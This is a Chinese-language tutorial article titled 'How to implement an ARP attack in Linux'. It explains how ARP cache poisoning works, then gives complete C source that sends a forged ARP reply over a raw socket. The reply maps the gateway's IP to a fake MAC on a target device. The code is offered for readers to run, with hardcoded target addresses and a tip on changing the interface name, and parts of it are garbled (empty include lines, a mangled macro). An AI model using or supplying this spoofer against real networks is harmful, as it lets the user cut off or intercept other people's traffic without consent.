千家信息网

Linux中怎么实现arp攻击

发表于:2024-10-05 作者:千家信息网编辑
千家信息网最后更新 2024年10月05日,今天就跟大家聊聊有关Linux中怎么实现arp攻击,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。ARP:Address Resolution
千家信息网最后更新 2024年10月05日Linux中怎么实现arp攻击

今天就跟大家聊聊有关Linux中怎么实现arp攻击,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

ARP:Address Resolution Protocol 地址解析协议。它是一个链路层的协议。工作在OSI模型的第二层。

由于以太网交换设备不能直接识别32位的IP地址。事实上它们都是以48位的MAC地址传输数据的,所以在工作时需要存在一种MAC地址和IP地址的对应关系。而ARP协议就是用来确定这种关系的。

网络中所有的机器都包含ARP缓存,它存储了本地网络中最近时间的MAC地址和IP地址的对应关系。正常情况下当ARP工作时,请求主机发出一个含有目标IP的以太网广播数据,然后目标IP会发出一个含有IP地址和对应MAC地址的应答包。这样请求主机就能够获得一对IP地址和MAC地址,然后将这一组对应关系放入ARP缓存。ARP缓存表采用老化机制,一段时间内表中的某一行不用就会被删除。

而对于一台局域网上的主机,如果收到一个ARP应答报文,即便它并没有发送请求报文或者并不是它目标IP的应答报文,该主机也会将报文中的IP和MAC地址存入缓存。

如此,我们只要让被攻击的目标主机相信我们的MAC地址是网关的MAC地址。让目标主机的网关相信我们的MAC地址是被攻击的

目标主机的MAC,那么所有要发往目标主机的报文就会被发到我们的主机上。

灵魂作图时间


下面进行一次实践,攻击者为我的Ubuntu系统的电脑,被攻击的为我的华为手机

代码如下:

#include 
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define print_errno(fmt, ...) \ printf("[%d] errno=%d (%s) #" fmt, \ __LINE__, errno, strerror(errno), ####__VA_ARGS__)

static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int s_ip_frame_size = 0;

int main(int argc,char** argv){
struct ether_header *eth = NULL;
struct ether_arp *arp = NULL;
struct ifreq ifr;
struct in_addr daddr;
struct in_addr saddr;
struct sockaddr_ll sll;
int skfd;int n = 0;
unsigned char dmac[ETH_ALEN] = {0x38,0x37,0x8B,0xC3,0x61,0x4D};//被攻击对象的mac地址
daddr.s_addr = inet_addr("192.168.0.125");//被攻击对象的ip地址

unsigned char smac[ETH_ALEN] = {0x01,0x02,0x03,0x04,0x05,0x06};//使被攻击对象的arp表改为这个假的mac地址
saddr.s_addr = inet_addr("192.168.0.1");//路由器

memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN); skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (skfd < 0) { print_errno("socket() failed! \n");
return -1; } bzero(&ifr,sizeof(ifr));
strcpy(ifr.ifr_name, "wlp8s0");//这里是我的网卡名字,要改为你的网卡名字,使用ifconfig查看

if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) { print_errno("ioctl() SIOCGIFINDEX failed!\n");
return -1; }
printf("ifr_ifindex = %d\n", ifr.ifr_ifindex); bzero(&sll, sizeof(sll)); sll.sll_ifindex = ifr.ifr_ifindex; sll.sll_family = PF_PACKET; sll.sll_protocol = htons(ETH_P_ALL); eth = (struct ether_header*)s_ip_frame_data; eth->ether_type = htons(ETHERTYPE_ARP);
memcpy(eth->ether_dhost, dmac, ETH_ALEN);
memcpy(eth->ether_shost, smac, ETH_ALEN); arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header)); arp->arp_hrd = htons(ARPHRD_ETHER); arp->arp_pro = htons(ETHERTYPE_IP); arp->arp_hln = ETH_ALEN; arp->arp_pln = 4; arp->arp_op = htons(ARPOP_REPLY);//ARPOP_REQUEST ARPOP_REPLY 我使用的是replay,至于request你自己去弄,我就不说了

memcpy(arp->arp_sha, smac, ETH_ALEN);
memcpy(arp->arp_spa, &saddr.s_addr, 4);
memcpy(arp->arp_tha, dmac, ETH_ALEN);
memcpy(arp->arp_tpa, &daddr.s_addr, 4); s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp); n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \ (struct sockaddr*)&sll, sizeof(sll));
if (n < 0) { print_errno("sendto() failed!\n"); }else {
printf("sendto() n = %d \n", n); } close(skfd);
return 0;}

看完上述内容,你们对Linux中怎么实现arp攻击有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注行业资讯频道,感谢大家的支持。

0